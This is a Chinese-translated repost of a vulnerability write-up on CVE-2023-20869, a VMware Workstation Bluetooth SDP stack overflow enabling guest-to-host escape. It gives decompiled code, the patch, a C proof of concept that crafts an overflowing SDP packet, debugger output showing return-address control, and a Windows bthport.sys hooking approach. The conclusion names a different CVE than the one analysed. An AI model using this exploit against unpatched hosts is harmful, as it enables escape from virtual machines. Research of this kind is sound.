将 N-day 漏洞链接以妥协所有内容:第 5 部分 — VMware Workstation 客户机到主机的逃逸

admin 2024年6月3日17:22:55评论6 views字数 12379阅读41分15秒阅读模式

将 N-day 漏洞链接以妥协所有内容:第 5 部分 — VMware Workstation 客户机到主机的逃逸

这篇博文是关于我们在 X 上演示的 N-day 全链漏洞利用中使用的漏洞的第五个系列。在这篇博文中,我们将介绍如何从客户机在主机操作系统上执行任意代码。

该漏洞为 CVE-2023–20869,由 Pwn2own 2023 Vancouver 中的 @starlabs_sg 证明。自 2023 年 6 月以来,我们的威胁情报服务 Fermium-252 已在 Aril 中修补了此漏洞,并利用了此漏洞。

请注意,大多数说明都是基于 VMware-workstation-full-17.0.1-21139696.exe 安装文件,并且大多数符号都是通过反转来识别的,因此它们可能不正确。

处理虚拟蓝牙设备上的服务发现协议

蓝牙服务发现协议 (SDP) 旨在帮助设备发现彼此的服务并确定如何访问它们。这就像在目录中查找企业以了解他们提供的产品以及如何联系他们一样。这意味着找出设备具有哪些功能,例如它是否可以处理文件传输、音频流或具有特定类型的传感器。

SDP 具有服务器-客户端模型,如图 1 所示,其中客户端发送 SDP 请求,然后 SDP 服务器和蓝牙设备上运行的应用程序处理请求并返回 SDP 响应。

将 N-day 漏洞链接以妥协所有内容:第 5 部分 — VMware Workstation 客户机到主机的逃逸

图 1.SDP通信

处理 SDP 数据包时,VBluetooth 设备充当代理,在客户机和主机之间中继蓝牙通信。从 VMware Workstation 的角度来看,客户机和蓝牙设备之间的 SDP 客户端-服务器交互如图 2 所示。

将 N-day 漏洞链接以妥协所有内容:第 5 部分 — VMware Workstation 客户机到主机的逃逸

图2.VMware Workstation 中的 SDP 通信

为了在客户机上的蓝牙设备和主机上的蓝牙接收器之间进行中继,VMware 提供了一个实现,用于处理从 SDP 客户端和服务器接收的 SDP 数据包。

CVE-2023–20869 的根本原因

将 SDP 数据包从客户机发送到 Bluetooth 设备时,请求数据包由 VMware 主机上的 vmware-vmx 进程处理。

首先,vmware-vmx 调用 process_request 函数,它在内部调用 RBuf_CopyOutHeader 函数来读取客户机发送的 SDP 数据包。SDP 数据包以 5 字节的协议数据单元 (PDU) 开头,PDU 由 sdp_pdu_hdr_t 结构表示。该 pdu_id 字段指示 SDP 数据包的类型,以及vmware_vmx句柄 SDP_SVC_ATTR_REQ(0x04) 和 SDP_SVC_SEARCH_ATTR_REQ(0x06) 数据包。( [0] )

typedef struct {  uint8_t pdu_id;  uint16_t tid;  uint16_t plen;} sdp_pdu_hdr_t;
void __fastcall process_request(struct_a1_1 *req) // sub_14086BCE0{  // ...   sdp_pdu_hdr_t req_pdu_hdr; // [rsp+28h] [rbp-30h] BYREF  struct_a1_1 *ref_pdu_data; // [rsp+30h] [rbp-28h] BYREF  if ( req->field_30 )  {    input = (_QWORD *)req->input;    if ( input )    {      while ( 1 )      {        if ( !(unsigned int)RBuf_Length(input) )          return;        if ( !RBuf_CopyOutHeader((_QWORD *)req->input, (char *)&req_pdu_hdr, 5ui64) )          return;        pdu_data = (struct_a1_1 *)RBuf_CopyOutData(                                    (_QWORD **)&req->input,                                    5u,                                    (unsigned __int16)__ROL2__(req_pdu_hdr.plen, 8));        v4 = pdu_data;        if ( !pdu_data )          return;        opcode = req_pdu_hdr.pdu_id;        tid = req_pdu_hdr.tid;        ref_pdu_data = ref_sdp(pdu_data);        res = 0i64;        if ( opcode == SDP_SVC_SEARCH_REQ )          break;        if ( opcode == SDP_SVC_ATTR_REQ )        {          v7 = sdp_service_attr_req(req, &ref_pdu_data, &res); // <--- [0]          // ...        }        if ( opcode == SDP_SVC_SEARCH_ATTR_REQ )        {          v7 = proc_search_attr_req(req, &ref_pdu_data, &res);          // ...        }

该 proc_search_attr_req 函数调用 SDPData_ReadElement and SDPData_ReadRawInt 函数来读取从客户机接收的 SDP 数据包数据。服务类 ID 和属性 ID 以序列类型存储,可以通过调用 SDPData_ReadElement(..,SDP_DE_SEQ,..) 来读取。 ([1])

然后,它调用 sub_14083CB90 函数以按请求的服务类 ID 和属性 ID 搜索蓝牙设备服务。

__int64 __fastcall proc_search_attr_req(struct_a1_1 *a1, _QWORD *a2, __int64 **a3) // sub_14086C1D0 {  // ...   v6 = (char *)*((_QWORD *)a1->field_20 + 3);  if ( !SDPData_ReadElement(a2, SDP_DE_SEQ, &v20) ) // Service class IDs (sequence)    return 3i64;  if ( !SDPData_ReadRawInt(a2, SDP_DE_INT, &v22, 0i64) || !SDPData_ReadElement(a2, SDP_DE_SEQ, &attrids) ) // <--- [1]  { //specify the response limit , // Attribute IDs(sequence)    sub_14083BCB0((__int64)&v20);    return 3i64;  }  if ( sdp_getdatasize(a2, &v19) )  {    v8 = v22;    if ( v22 < 0x21 )      v8 = 33i64;    v9 = (struct_a1_1 *)a1->field_30;    v22 = v8 - 32;    v10 = sub_14083CB90(v9, v6, (struct_a1_1 *)v20.data, (struct_a1_1 *)search_list.data);

该 sub_14083CB90 函数在内部调用该 sub_14083C7F0 函数,该函数将从设备接收的响应与从 proc_search_attr_req 函数传递的 ID 进行比较,以查找匹配的服务。

在 中 [2] ,它会遍历从设备接收的服务属性 ID,查找与作为参数传递的服务 attrids 匹配的服务。在本例中,它调用 SDPData_ReadElement 而不是 SDPData_ReadRawInt 读取 SDP_DE_UINT 值。( [3] )

_WORD *__fastcall sub_14083C7F0(struct_a1_1 *from_dev, char *a2, int a3, struct_a1_1 *attrids){  // ...  from_dev_ = ref_sdp(from_dev);  if ( !SDPData_ReadElement(&from_dev_, SDP_DE_SEQ, &element) )// get devices attr information   {LABEL_9:    unref_sdp(from_dev_);    return 0i64;  }  // ...  data = element.data;  // ...  while ( SDPData_ReadElement(&data, SDP_DE_UINT, &v18) ) // <--- [2]  {    data_low = LOWORD(v18.data);    attrids_ = ref_sdp(attrids);    found = 0;    do    {      if ( !SDPData_ReadElement(&attrids_, SDP_DE_UINT, &attr_id) )// <--- [3]        break;      if ( attr_id.ele_size == 2 )      {        max = attr_id.data;        min = attr_id.data;      }      else      {        if ( attr_id.ele_size != 4 )          break;        min = WORD1(attr_id.data);        max = LOWORD(attr_id.data);        if ( WORD1(attr_id.data) > (unsigned int)LOWORD(attr_id.data) )          break;      }      if ( data_low >= min && data_low <= max )        found = 1;    }    // ...

该 SDPData_ReadElement 函数从数据流中读取 1 个字节以确定数据类型,并根据类型读取以下数据。前 3 位表示大小,如果 buf & 7 == 6 这样,则再读取 2 个字节并确定大小。( [4] ). RBuf_CopyOutHeader 调用读取 3 个字节,但其中第一个字节与之前读取的字节相同。

第一个字节 ( ele_type ) 的高阶 5 位确定类型,如果 ele_type 等于 type_in ,或者如果 type_in 为 -1 ,则处理以下 switch 语句。switch 语句读取数据并根据类型确定大小。( [5] )

char __fastcall SDPData_ReadElement(_QWORD *in_rbuf, int type_in, struct_a3 *ele){  // ...  v3 = (_QWORD *)*in_rbuf;  addition_size_desc = 1;  if ( !RBuf_CopyOutHeader((_QWORD *)*in_rbuf, (char *)&buf, 1ui64) )     return 0;  switch ( buf & 7 )                          {    case 0:      ele_size = (buf & 0xF8) != 0;      break;    case 1:      ele_size = 2;      break;    // ...    case 6:                                           addition_size_desc = 3;      if ( !RBuf_CopyOutHeader(v3, (char *)&buf, 3ui64) ) // <--- [4]         return 0;      ele_size = (unsigned __int16)__ROL2__(v21, 8); // &v21 == &(buf + 1)      break;    // ...  }  ele_type = buf >> 3;                            if ( !SDPData_Slice((_QWORD **)in_rbuf, addition_size_desc) || type_in != -1 && ele_type != type_in )         return 0;    return 0;  if ( ele_size > (unsigned int)RBuf_Length((_QWORD *)*in_rbuf) )    return 0;  ele->ele_type = ele_type;  ele->ele_size = ele_size;  switch ( ele_type )  {    case SDP_DE_NULL:      _mm_lfence();      return ele_size == 0;    case SDP_DE_UINT:      _mm_lfence();      return SDPData_ReadRawInt(in_rbuf, ele_size, &ele->data, &ele->qword10);  // <--- [5]     // ...    case SDP_DE_URL:      _mm_lfence();      ele->data = RBuf_CopyOutData((_QWORD **)in_rbuf, 0, ele_size);      return 1;    // ...

该 SDPData_ReadRawInt 函数从缓冲区读取 len 数据并将其转换为 int 值。该参数 buf_in 是存储客户机 SDP 请求的缓冲区, len 也由攻击者可控制的 SDP 请求确定。

char __fastcall SDPData_ReadRawInt(_QWORD **buf_in, unsigned int len, _QWORD *a3, _QWORD *a4){  size_t v4;    // rdi  char result;   char Src[16]; // [rsp+30h] [rbp-48h] BYREF                                                // [rsp+40h] == security cookie  v4 = len;                                      // char temp[16]; [rsp+20h]  result = RBuf_CopyOutHeader(*buf_in, Src, len);  if ( result )  {    memcpy(&Src[-v4], Src, v4);    *a3 = 0LL;                                  // decompile error, save int value into *a3    if ( a4 )      *a4 = 0LL;                                // decompile error, save some data value into *a4    return SDPData_Slice(buf_in, v4);  }  return result;

通常,堆栈向下增长(即从高地址到低地址),因此将 v4 -size 数据复制到中 Src[-v4] 似乎并不容易受到攻击。但是,实际的内存复制是在 memcpy 函数中完成的,因此正确设置了 len 的值,可以在 memcpy 函数期间覆盖存储在堆栈上的返回地址,如图 3 所示。此外,由于 memcpy 函数不使用自己的堆栈,因此没有堆栈 cookie。

将 N-day 漏洞链接以妥协所有内容:第 5 部分 — VMware Workstation 客户机到主机的逃逸

图3.触发漏洞时的堆栈帧

CVE-2023–20869 补丁

该修补程序是通过区分两个不同版本的 VMware Workstation 17.0.1 和 17.0.2 来识别的。

因此,异常处理代码将添加到函数中 SDPData_ReadRawInt ,以便在 len 大于 16 时返回错误。

char __fastcall SDPData_ReadRawInt(_QWORD **buf_in, unsigned int len, _QWORD *a3, _QWORD *a4) // sub_14083C560{  __int64 v4; // rbx  char Src[16]; // [rsp+30h] [rbp-48h] BYREF  v4 = len;+  if ( len > 0x10 )+    return 0;  _mm_lfence();  if ( !RBuf_CopyOutHeader(*buf_in, Src, len) )    return 0;  _mm_lfence();  memcpy(&Src[-v4], Src, (unsigned int)v4);  *a3 = 0i64;  if ( a4 )    *a4 = 0i64;  return SDPData_Slice(buf_in, v4);}

概念验证

虽然有许多不同的方法可以到达易受攻击 SDPData_ReadRawInt 的功能,但本博客介绍了如何通过“根本原因”一节中描述的路径触发漏洞。

该 sub_14083C7F0 功能将从设备接收的响应与访客传递的 ID 进行比较,以找到匹配的服务,因此要访问它,您需要向正常工作的蓝牙设备发送 SDP_SVC_SEARCH_ATTR_REQ 请求并接收响应。

与蓝牙设备的 SDP 通信不需要配对,但由于并非所有蓝牙设备都具有 SDP 服务器和应用程序,因此需要具有活动 SDP 服务器的设备的地址才能触发漏洞。

在 Linux 上,我们可以使用 bluetootlctl 命令发现蓝牙设备,如下所示。

$ bluetoothctlAgent registered[CHG] Controller 70:32:17:B7:0D:FD Pairable: yes[bluetooth]# scan onDiscovery started[CHG] Controller 70:32:17:B7:0D:FD Discovering: yes[NEW] Device 64:7B:CE:21:53:BD Galaxy S20 FE 5Gㅜㅠ

在 Linux 上,我们可以使用 libbluetooth 库轻松创建和发送 SDP 请求。创建一个 L2CAP 套接字以向其发送 SDP 请求,建立连接,并调用该 sdp_connect 函数以创建 SDP 会话。

bdaddr_t bdaddr = {{0xbd,0x53,0x21,0xce,0x7B,0x64}};   // 64:7B:CE:21:53:BD    uint8_t channel = 0x01;     printf("[+] Connect SDP via L2CAP n");    int l2cap_sock = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);    if (l2cap_sock < 0) {        perror("Failed to create L2CAP socket");        return 1;    }    // Connect l2cap socket    struct sockaddr_l2 l2cap_addr = { 0 };    l2cap_addr.l2_family = AF_BLUETOOTH;    l2cap_addr.l2_psm = htobs(channel);    l2cap_addr.l2_bdaddr = bdaddr;    if (connect(l2cap_sock, (struct sockaddr *)&l2cap_addr, sizeof(l2cap_addr)) < 0) {        perror("Failed to connect to L2CAP socket");        close(l2cap_sock);        return 1;    }    sdp_session_t *session = sdp_connect(BDADDR_ANY, &bdaddr, SDP_RETRY_IF_BUSY);    if (!session) {        perror("Failed to connect to SDP session");        close(l2cap_sock);        return 1;    }

生成一个SDP数据包,在连接后在请求中发送。若要触发此漏洞,请将 pdu_id 该值设置为 SDP_SVC_SEARCH_ATTR_REQ ,并且服务 ID 应包含具有操纵长度值的数据类型 SDP_DE_UINT 。

sdp_pdu_hdr_t *reqhdr, *rsphdr;    uint32_t reqsize, rspsize;    reqbuf = malloc(SDP_REQ_BUFFER_SIZE);    rspbuf = malloc(SDP_RSP_BUFFER_SIZE);    if (!reqbuf || !rspbuf) {        goto clean_buf;    }    memset(reqbuf, 0x0, SDP_REQ_BUFFER_SIZE);    memset(rspbuf, 0, SDP_REQ_BUFFER_SIZE);    uint32_t tmp;    uint32_t pos = 0;    reqhdr = (sdp_pdu_hdr_t *) reqbuf;    reqhdr->pdu_id = 6; //SDP_SVC_SEARCH_ATTR_REQ    reqdata = reqbuf + sizeof(sdp_pdu_hdr_t);    //service class IDs (empty)    reqdata[pos++] = 6 | 6<<3;    reqdata[pos++] = 0x00;    reqdata[pos++] = 0x00; // size    // specify the response limit    // int 2    *((unsigned short *)&reqdata[pos]) = htons(65535);    pos += 2;    // attribute id seqence    uint16_t oobsize = 0x90;    reqdata[pos++] = 6 | 6<<3;    *((unsigned short *)&reqdata[pos]) = htons(oobsize+3);         pos+=2;     reqdata[pos++] = 6 /*data_type*/ | 1<<3 /*ele_type*/;     *((unsigned short *)&reqdata[pos]) = htons(oobsize);    pos+=2;    memset(&reqdata[pos], 0x41, oobsize);    pos+=oobsize;

然后通过 L2CAP 套接字发送生成的 SDP 数据包。在 Ubuntu 21 及更高版本上,蓝牙驱动程序兼容性不适用于 VMware 的 VBluetooth 设备。为了成功测试,我们使用了安装了 Ubuntu 20.04 的客户机。

如果 PoC 运行成功,您可以看到该值 0x4141414141414141 存储在指令之前 ret RSP 寄存器指向的位置

VCRUNTIME140!memcpy+0x2fd:00007ffb`657715ed c3              ret0:000> dq rsp00000039`a18fea08  41414141`41414141 41414141`4141414100000039`a18fea18  41414141`41414141 41414141`4141414100000039`a18fea28  41414141`41414141 41414141`4141414100000039`a18fea38  41414141`41414141 41414141`4141414100000039`a18fea48  41414141`41414141 41414141`4141414100000039`a18fea58  41414141`41414141 41414141`4141414100000039`a18fea68  41414141`41414141 41414141`4141414100000039`a18fea78  41414141`41414141 41414141`41414141

Windows 客户机上的漏洞利用

如 PoC 中所述,该 memcpy 函数可以通过执行 ROP 轻松执行系统命令,因为它没有堆栈 cookie,并且可以向堆栈写入足够的数据。在本节中,我们将重点介绍如何在 Windows 客户机上实现漏洞利用。

与 Linux 不同,Windows 不提供这样的 libbluetooth 库,因此您必须编写自己的设备驱动程序代码才能触发漏洞。但是,编写蓝牙设备驱动程序需要蓝牙知识和驱动程序开发经验。

为了在不编写驱动程序的情况下执行此漏洞,我们修补了在 Windows 上运行蓝牙设备驱动程序的代码。该 bthport.sys 驱动程序是适用于 Windows 的蓝牙总线驱动程序,用于创建 SDP 请求并将其发送到蓝牙设备。在函数中 bthport!SdpL2cap_SendServiceSearchAttributeRequest 创建 SDP_SVC_SEARCH_ATTR_REQ 请求,最后将完成的 SDP 数据包 ( v12 ) 通过 bthport!SdpL2cap_SendInitialRequestToServer 发送到设备。

int __fastcall SdpL2cap_SendServiceSearchAttributeRequest(struct _SDP_L2CAP_CONNECTION *a1, struct _IRP *a2){  // ...  ServiceSearchTree = SdpInt_CreateServiceSearchTree(                        (struct _SdpQueryUuid *)((char *)&v6.MasterIrp->MdlAddress + 4),                        Type);  // ...  AttributeSearchTree = SdpInt_CreateAttributeSearchTree(                          (struct _SdpAttributeRange *)&v6.MasterIrp[1].ThreadListEntry.Blink + 1,                          v7);  v12 = P;  v9 = v11;  if ( v11 < 0 || (v9 = SdpNodeToStream((struct _SDP_NODE *)AttributeSearchTree->RootNode.hdr.Link.Flink), v9 < 0) )  {    if ( v12 )      ExFreePoolWithTag(v12, 0);    v5 = a1;    goto LABEL_18;  }  // ...  return SdpL2cap_SendInitialRequestToServer(a1, a2, v12, 8u, 6u);}

为了在传递 SDP 数据包之前对其进行操作,我们在 SdpL2cap_SendInitialRequestToServer 调用中安装了一个钩子。会动态修改存储的 v12 SDP 数据包的内容以触发漏洞。

将 N-day 漏洞链接以妥协所有内容:第 5 部分 — VMware Workstation 客户机到主机的逃逸

图4.挂钩bthport.sys以触发漏洞

安装钩子后,可以调用 WSALookupServiceBegin 和 WSALookupServiceNext API 来执行 SdpL2cap_SendServiceSearchAttributeRequest 该函数,如果安装的钩子运行成功,则会发送一个构建的 SDP,可用于执行任意命令。

VOID send_sdp_service_attr() {     // ...    if (WSAStartup(MAKEWORD(2, 2), &m_data) == 0)        protocolInfoSize = sizeof(protocolInfo);        ULONGLONG btAddr = 0x647BCE2153BD; // "64:7B:CE:21:53:BD        SOCKADDR_BTH sa;        memset(&sa, 0, sizeof(sa));        sa.addressFamily = AF_BTH;        sa.btAddr = btAddr;        sa.serviceClassId = RFCOMM_PROTOCOL_UUID;        sa.port = BT_PORT_ANY;        memset(&querySet, 0, sizeof(querySet));        querySet.dwSize = sizeof(querySet);        protocol = L2CAP_PROTOCOL_UUID;        querySet.lpServiceClassId = &protocol;        querySet.dwNameSpace = NS_BTH;        querySet.lpszContext = (LPWSTR)addressAsString;        flags = LUP_FLUSHCACHE | LUP_RETURN_BLOB;        result = WSALookupServiceBegin(&querySet, flags, &hLookup);        if (result == 0) {            while (result == 0) {                bufferLength = sizeof(buffer);                pResults = (WSAQUERYSET*)&buffer;                result = WSALookupServiceNext(hLookup, flags, &bufferLength, pResults);            }        }        WSACleanup();    } }

结论

这篇文章提供了对 CVE-2023–36802 的分析,我们在为期N-day的全链演示中利用了该分析。下一篇文章将介绍如何利用 Windows Streaming Service 中的漏洞攻击主机上的 Windows LPE。

参考

https://www.zerodayinitiative.com/blog/2023/5/17/cve-2023-2086920870-exploiting-vmware-workstation-at-pwn2own-vancouver

https://www.bluetooth.com/wp-content/uploads/Files/Specification/HTML/Core-54/out/en/host/service-discovery-protocol--sdp--specification.html

Chaining N-days to Compromise All: Part 5 — VMware Workstation Guest-to-Host Escapehttps://blog.theori.io/chaining-n-days-to-compromise-all-part-5-vmware-workstation-host-to-guest-escape-5a1297e431b5

原文始发于微信公众号(Ots安全):将 N-day 漏洞链接以妥协所有内容:第 5 部分 — VMware Workstation 客户机到主机的逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月3日17:22:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   将 N-day 漏洞链接以妥协所有内容:第 5 部分 — VMware Workstation 客户机到主机的逃逸https://cn-sec.com/archives/2809665.html

发表评论

匿名网友 填写信息